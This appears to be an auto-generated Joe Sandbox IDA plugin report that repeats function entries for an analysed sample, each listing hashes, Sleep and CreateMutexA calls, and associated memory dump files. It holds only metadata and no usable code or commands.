Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5c131c4a549ebecb0544f891c1a55effe02b3da076880633d23bda33a8762ec6
Instruction ID: b6a713d185dee742dc41a6766cafbb09bf758e1276d9b41756b2a0639054c990
Opcode Fuzzy Hash: 5c131c4a549ebecb0544f891c1a55effe02b3da076880633d23bda33a8762ec6
Instruction Fuzzy Hash: 01314871605204CBEB08AB7CDD8976DBB72FBC2324F244218E494E73D6C7B59A8187D2

Function 00839F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0083A963
CreateMutexA.KERNEL32(00000000,00000000,00893254), ref: 0083A981

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1185b12b2c2b03e1f6609414193f90fcc701289d14c07820a553928275473e49
Instruction ID: 2fd397dcdf8a89a7a37eba84cd6debdb01c9255f7e4cb69aff47b00abdfa518f
Opcode Fuzzy Hash: 1185b12b2c2b03e1f6609414193f90fcc701289d14c07820a553928275473e49
Instruction Fuzzy Hash: 91314A31604208CBEB0CAB7CDD8476DBB72FBC5324F244619E494E73D5C77599818792

Function 0083A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0083A963
CreateMutexA.KERNEL32(00000000,00000000,00893254), ref: 0083A981

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 801bc5ee62d0f1dbf3c3a645bf1aa303345c9d8fb66f854cd518bf0432bd8299
Instruction ID: cc38f215522049cab241658b373c43d3b0e4886fcb4cc661fef361bf45687cab
Opcode Fuzzy Hash: 801bc5ee62d0f1dbf3c3a645bf1aa303345c9d8fb66f854cd518bf0432bd8299
Instruction Fuzzy Hash: D0312431605204DBEF1C9BBCCD89B6DBB72FBC2324F244219E4A5E73D1C77699818692

Function 0083A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0083A963
CreateMutexA.KERNEL32(00000000,00000000,00893254), ref: 0083A981

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9054954aa64fec3e45df625be36550af695fee902ca10fe7352e6698446d674f
Instruction ID: 6f47ed9df6555597b1b469b6fc8bb381e79b0677e3cb1d3ef3ce76aa3207f5da
Opcode Fuzzy Hash: 9054954aa64fec3e45df625be36550af695fee902ca10fe7352e6698446d674f
Instruction Fuzzy Hash: 913146316052049BEF0CABBCDD89B6DBB72FBC6324F244219E494E73D1D77699808792

Function 0083A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0083A963
CreateMutexA.KERNEL32(00000000,00000000,00893254), ref: 0083A981

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0e10bff7184f4dce84920987cbf8e0a31fc9295fa30bd3f695547e3b112cbcf6
Instruction ID: 33bf744bad4f2af95602a29a1931b184d97315a4a4e07884b17c398dc0048763
Opcode Fuzzy Hash: 0e10bff7184f4dce84920987cbf8e0a31fc9295fa30bd3f695547e3b112cbcf6
Instruction Fuzzy Hash: 4A3115316052049BEB0CABBCDD89B6DBB72FBC1324F244218E494E73D5D7B599808796

Function 0083A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0083A963
CreateMutexA.KERNEL32(00000000,00000000,00893254), ref: 0083A981

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
